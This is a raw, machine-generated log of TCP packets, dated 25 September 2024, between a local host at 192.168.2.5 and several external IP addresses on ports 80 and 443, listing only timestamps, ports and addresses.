Sep 25, 2024 18:01:03.537204027 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.537221909 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.537237883 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.537254095 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.537255049 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.537271976 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.537278891 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.537286997 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.537295103 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.537302971 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.537317038 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.537319899 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.537332058 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.537350893 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.537369013 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.537672043 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.537688971 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.537704945 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.537709951 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.537728071 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.537740946 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.537801027 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.537818909 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.537833929 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.537837982 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.537851095 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.537870884 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.537972927 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.537990093 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.538005114 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.538007975 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.538022995 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.538023949 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.538038969 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.538038969 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.538053989 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.538055897 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.538074017 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.538075924 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.538088083 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.538108110 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.538647890 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.538665056 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.538683891 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.538693905 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.538702011 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.538707018 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.538722038 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.538739920 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.621114016 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.621141911 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.621177912 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.621176958 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.621201992 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.621201992 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.621217012 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.621222973 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.621237040 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.621247053 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.621262074 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.621279955 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.621294022 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.621316910 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.621332884 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.621337891 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.621354103 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.621361017 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.621376038 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.621396065 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.621429920 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.621450901 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.621468067 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.621473074 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.621493101 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.621495008 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.621512890 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.621515989 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.621527910 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.621536016 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.621553898 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.621561050 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.621578932 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.621599913 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.621697903 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.621718884 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.621731997 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.621741056 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.621759892 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.621759892 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.621774912 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.621793985 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.622936964 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.622972965 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.622977972 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.622994900 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.623016119 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.623024940 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.623054028 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.623075008 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.623097897 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.623106956 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.623183012 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.623204947 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.623226881 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.623229027 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.623246908 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.623249054 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.623265982 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.623270988 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.623285055 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.623306990 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.623409986 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.623430967 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.623451948 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.623455048 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.623466969 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.623476982 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.623486996 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.623512983 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.623522997 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.623563051 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.623660088 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.623682022 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.623699903 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.623703003 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.623713970 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.623723030 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.623744011 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.623766899 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.623769999 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.623789072 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.623790026 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.623811007 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.623811960 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.623828888 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.623831987 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.623850107 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.623855114 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.623869896 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.623898029 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.624032021 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.624053001 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.624069929 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.624075890 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.624094009 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.624094963 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.624116898 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.624150991 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.949690104 CEST	49738	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:03.949743032 CEST	443	49738	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:03.949810028 CEST	49738	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:04.210650921 CEST	49738	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:04.210683107 CEST	443	49738	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:04.289926052 CEST	49739	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:01:04.290036917 CEST	443	49739	5.75.211.162	192.168.2.5
Sep 25, 2024 18:01:04.290127039 CEST	49739	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:01:04.344197035 CEST	49739	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:01:04.344240904 CEST	443	49739	5.75.211.162	192.168.2.5
Sep 25, 2024 18:01:04.688052893 CEST	443	49738	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:04.688144922 CEST	49738	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:04.729506016 CEST	49738	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:04.729518890 CEST	443	49738	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:04.729724884 CEST	443	49738	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:04.861901999 CEST	49738	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:04.907392979 CEST	443	49738	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:04.958286047 CEST	443	49738	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:05.087822914 CEST	49738	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:05.115061045 CEST	49738	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:05.115071058 CEST	443	49738	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:05.148668051 CEST	443	49739	5.75.211.162	192.168.2.5
Sep 25, 2024 18:01:05.149116993 CEST	49739	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:01:05.433357954 CEST	443	49738	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:05.433435917 CEST	443	49738	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:05.433522940 CEST	49738	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:05.469868898 CEST	49738	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:05.545597076 CEST	49739	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:01:05.545659065 CEST	443	49739	5.75.211.162	192.168.2.5
Sep 25, 2024 18:01:05.547158957 CEST	49739	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:01:05.547190905 CEST	443	49739	5.75.211.162	192.168.2.5
Sep 25, 2024 18:01:05.572937965 CEST	49740	80	192.168.2.5	172.67.74.152
Sep 25, 2024 18:01:05.581373930 CEST	80	49740	172.67.74.152	192.168.2.5
Sep 25, 2024 18:01:05.581473112 CEST	49740	80	192.168.2.5	172.67.74.152
Sep 25, 2024 18:01:05.581626892 CEST	49740	80	192.168.2.5	172.67.74.152
Sep 25, 2024 18:01:05.590054035 CEST	80	49740	172.67.74.152	192.168.2.5
Sep 25, 2024 18:01:06.050704956 CEST	80	49740	172.67.74.152	192.168.2.5
Sep 25, 2024 18:01:06.058190107 CEST	49741	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:06.058257103 CEST	443	49741	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:06.058320045 CEST	49741	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:06.058681965 CEST	49741	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:06.058701992 CEST	443	49741	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:06.265398026 CEST	80	49740	172.67.74.152	192.168.2.5
Sep 25, 2024 18:01:06.265472889 CEST	49740	80	192.168.2.5	172.67.74.152
Sep 25, 2024 18:01:06.428064108 CEST	443	49739	5.75.211.162	192.168.2.5
Sep 25, 2024 18:01:06.428173065 CEST	49739	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:01:06.428232908 CEST	443	49739	5.75.211.162	192.168.2.5
Sep 25, 2024 18:01:06.428273916 CEST	443	49739	5.75.211.162	192.168.2.5
Sep 25, 2024 18:01:06.428296089 CEST	49739	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:01:06.428337097 CEST	49739	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:01:06.452363014 CEST	49739	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:01:06.452400923 CEST	443	49739	5.75.211.162	192.168.2.5
Sep 25, 2024 18:01:06.497950077 CEST	49742	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:01:06.497992992 CEST	443	49742	5.75.211.162	192.168.2.5
Sep 25, 2024 18:01:06.498116016 CEST	49742	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:01:06.549051046 CEST	443	49741	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:06.565665007 CEST	49742	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:01:06.565691948 CEST	443	49742	5.75.211.162	192.168.2.5
Sep 25, 2024 18:01:06.571950912 CEST	49741	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:06.571989059 CEST	443	49741	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:06.572206974 CEST	49740	80	192.168.2.5	172.67.74.152
Sep 25, 2024 18:01:06.577811003 CEST	80	49740	172.67.74.152	192.168.2.5
Sep 25, 2024 18:01:06.577868938 CEST	49740	80	192.168.2.5	172.67.74.152
Sep 25, 2024 18:01:06.671912909 CEST	443	49741	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:06.672262907 CEST	49741	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:06.672327042 CEST	443	49741	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:07.075607061 CEST	443	49741	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:07.075710058 CEST	443	49741	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:07.075819016 CEST	49741	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:07.076414108 CEST	49741	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:07.129111052 CEST	49743	80	192.168.2.5	172.67.74.152
Sep 25, 2024 18:01:07.134970903 CEST	80	49743	172.67.74.152	192.168.2.5
Sep 25, 2024 18:01:07.135101080 CEST	49743	80	192.168.2.5	172.67.74.152
Sep 25, 2024 18:01:07.135339975 CEST	49743	80	192.168.2.5	172.67.74.152
Sep 25, 2024 18:01:07.142584085 CEST	80	49743	172.67.74.152	192.168.2.5
Sep 25, 2024 18:01:07.247354984 CEST	443	49742	5.75.211.162	192.168.2.5
Sep 25, 2024 18:01:07.247467041 CEST	49742	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:01:07.329946995 CEST	49742	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:01:07.329978943 CEST	443	49742	5.75.211.162	192.168.2.5
Sep 25, 2024 18:01:07.334837914 CEST	49742	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:01:07.334850073 CEST	443	49742	5.75.211.162	192.168.2.5
Sep 25, 2024 18:01:07.597520113 CEST	80	49743	172.67.74.152	192.168.2.5
Sep 25, 2024 18:01:07.696388960 CEST	49743	80	192.168.2.5	172.67.74.152
Sep 25, 2024 18:01:07.717449903 CEST	49744	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:07.717490911 CEST	443	49744	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:07.717586994 CEST	49744	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:07.718211889 CEST	49744	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:07.718225002 CEST	443	49744	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:07.953425884 CEST	443	49742	5.75.211.162	192.168.2.5
Sep 25, 2024 18:01:07.953660965 CEST	443	49742	5.75.211.162	192.168.2.5
Sep 25, 2024 18:01:07.953800917 CEST	49742	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:01:08.194408894 CEST	443	49744	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:08.197838068 CEST	49744	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:08.197860003 CEST	443	49744	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:08.197993994 CEST	49743	80	192.168.2.5	172.67.74.152
Sep 25, 2024 18:01:08.203624010 CEST	80	49743	172.67.74.152	192.168.2.5
Sep 25, 2024 18:01:08.203687906 CEST	49743	80	192.168.2.5	172.67.74.152
Sep 25, 2024 18:01:08.226214886 CEST	49742	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:01:08.226280928 CEST	443	49742	5.75.211.162	192.168.2.5
Sep 25, 2024 18:01:08.524672985 CEST	443	49744	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:08.525397062 CEST	49744	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:08.525405884 CEST	443	49744	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:08.816365004 CEST	443	49744	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:08.816551924 CEST	443	49744	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:08.816612005 CEST	49744	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:08.817533016 CEST	49744	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:08.965687037 CEST	49745	80	192.168.2.5	45.132.206.251
Sep 25, 2024 18:01:09.183278084 CEST	80	49745	45.132.206.251	192.168.2.5
Sep 25, 2024 18:01:09.183403015 CEST	49745	80	192.168.2.5	45.132.206.251
Sep 25, 2024 18:01:09.220807076 CEST	49745	80	192.168.2.5	45.132.206.251
Sep 25, 2024 18:01:09.225378990 CEST	49745	80	192.168.2.5	45.132.206.251
Sep 25, 2024 18:01:09.227252960 CEST	80	49745	45.132.206.251	192.168.2.5
Sep 25, 2024 18:01:09.231514931 CEST	80	49745	45.132.206.251	192.168.2.5
Sep 25, 2024 18:01:09.231549978 CEST	80	49745	45.132.206.251	192.168.2.5
Sep 25, 2024 18:01:09.231868982 CEST	80	49745	45.132.206.251	192.168.2.5
Sep 25, 2024 18:01:09.953227043 CEST	49746	443	192.168.2.5	172.67.162.108
Sep 25, 2024 18:01:09.953329086 CEST	443	49746	172.67.162.108	192.168.2.5
Sep 25, 2024 18:01:09.953424931 CEST	49746	443	192.168.2.5	172.67.162.108
Sep 25, 2024 18:01:09.955086946 CEST	49746	443	192.168.2.5	172.67.162.108
Sep 25, 2024 18:01:09.955125093 CEST	443	49746	172.67.162.108	192.168.2.5
Sep 25, 2024 18:01:10.435493946 CEST	443	49746	172.67.162.108	192.168.2.5
Sep 25, 2024 18:01:10.435606956 CEST	49746	443	192.168.2.5	172.67.162.108
Sep 25, 2024 18:01:10.499968052 CEST	49746	443	192.168.2.5	172.67.162.108
Sep 25, 2024 18:01:10.500003099 CEST	443	49746	172.67.162.108	192.168.2.5
Sep 25, 2024 18:01:10.500413895 CEST	443	49746	172.67.162.108	192.168.2.5
Sep 25, 2024 18:01:10.586443901 CEST	49746	443	192.168.2.5	172.67.162.108
Sep 25, 2024 18:01:10.918998003 CEST	49746	443	192.168.2.5	172.67.162.108
Sep 25, 2024 18:01:10.919064045 CEST	49746	443	192.168.2.5	172.67.162.108
Sep 25, 2024 18:01:10.919265985 CEST	443	49746	172.67.162.108	192.168.2.5
Sep 25, 2024 18:01:11.348840952 CEST	443	49746	172.67.162.108	192.168.2.5
Sep 25, 2024 18:01:11.349073887 CEST	443	49746	172.67.162.108	192.168.2.5
Sep 25, 2024 18:01:11.349203110 CEST	49746	443	192.168.2.5	172.67.162.108
Sep 25, 2024 18:01:11.454407930 CEST	49746	443	192.168.2.5	172.67.162.108
Sep 25, 2024 18:01:11.454447031 CEST	443	49746	172.67.162.108	192.168.2.5
Sep 25, 2024 18:01:11.454488993 CEST	49746	443	192.168.2.5	172.67.162.108
Sep 25, 2024 18:01:11.454497099 CEST	443	49746	172.67.162.108	192.168.2.5
Sep 25, 2024 18:01:11.627218962 CEST	49747	443	192.168.2.5	172.67.132.32
Sep 25, 2024 18:01:11.627314091 CEST	443	49747	172.67.132.32	192.168.2.5
Sep 25, 2024 18:01:11.627425909 CEST	49747	443	192.168.2.5	172.67.132.32
Sep 25, 2024 18:01:11.660504103 CEST	49747	443	192.168.2.5	172.67.132.32
Sep 25, 2024 18:01:11.660533905 CEST	443	49747	172.67.132.32	192.168.2.5
Sep 25, 2024 18:01:12.124825001 CEST	443	49747	172.67.132.32	192.168.2.5
Sep 25, 2024 18:01:12.124902964 CEST	49747	443	192.168.2.5	172.67.132.32
Sep 25, 2024 18:01:12.166919947 CEST	49747	443	192.168.2.5	172.67.132.32
Sep 25, 2024 18:01:12.166940928 CEST	443	49747	172.67.132.32	192.168.2.5
Sep 25, 2024 18:01:12.167263985 CEST	443	49747	172.67.132.32	192.168.2.5
Sep 25, 2024 18:01:12.168504953 CEST	49747	443	192.168.2.5	172.67.132.32
Sep 25, 2024 18:01:12.168543100 CEST	49747	443	192.168.2.5	172.67.132.32
Sep 25, 2024 18:01:12.168574095 CEST	443	49747	172.67.132.32	192.168.2.5
Sep 25, 2024 18:01:12.639281034 CEST	443	49747	172.67.132.32	192.168.2.5
Sep 25, 2024 18:01:12.639543056 CEST	443	49747	172.67.132.32	192.168.2.5
Sep 25, 2024 18:01:12.639647007 CEST	49747	443	192.168.2.5	172.67.132.32
Sep 25, 2024 18:01:12.653827906 CEST	49747	443	192.168.2.5	172.67.132.32
Sep 25, 2024 18:01:12.653886080 CEST	443	49747	172.67.132.32	192.168.2.5
Sep 25, 2024 18:01:12.653918982 CEST	49747	443	192.168.2.5	172.67.132.32
Sep 25, 2024 18:01:12.653935909 CEST	443	49747	172.67.132.32	192.168.2.5
Sep 25, 2024 18:01:12.822870016 CEST	49748	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:12.822973967 CEST	443	49748	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:12.823069096 CEST	49748	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:12.823472977 CEST	49748	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:12.823503017 CEST	443	49748	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:14.046453953 CEST	443	49748	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:14.046536922 CEST	49748	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:14.066134930 CEST	49748	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:14.066168070 CEST	443	49748	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:14.067265987 CEST	443	49748	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:14.070267916 CEST	49748	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:14.070288897 CEST	49748	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:14.070416927 CEST	443	49748	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:14.712867022 CEST	443	49748	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:14.713012934 CEST	443	49748	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:14.713073969 CEST	49748	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:14.812477112 CEST	49748	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:14.812478065 CEST	49748	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:14.812571049 CEST	443	49748	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:14.812602043 CEST	443	49748	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:15.031529903 CEST	49749	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:15.031593084 CEST	443	49749	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:15.031656027 CEST	49749	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:15.032282114 CEST	49749	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:15.032299042 CEST	443	49749	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:15.526386976 CEST	443	49749	188.114.96.3	192.168.2.5
Sep 25, 2024 18:01:15.526499987 CEST	49749	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:15.691154957 CEST	49749	443	192.168.2.5	188.114.96.3
Sep 25, 2024 18:01:15.691201925 CEST	443	49749	188.114.96.3	192.168.2.5
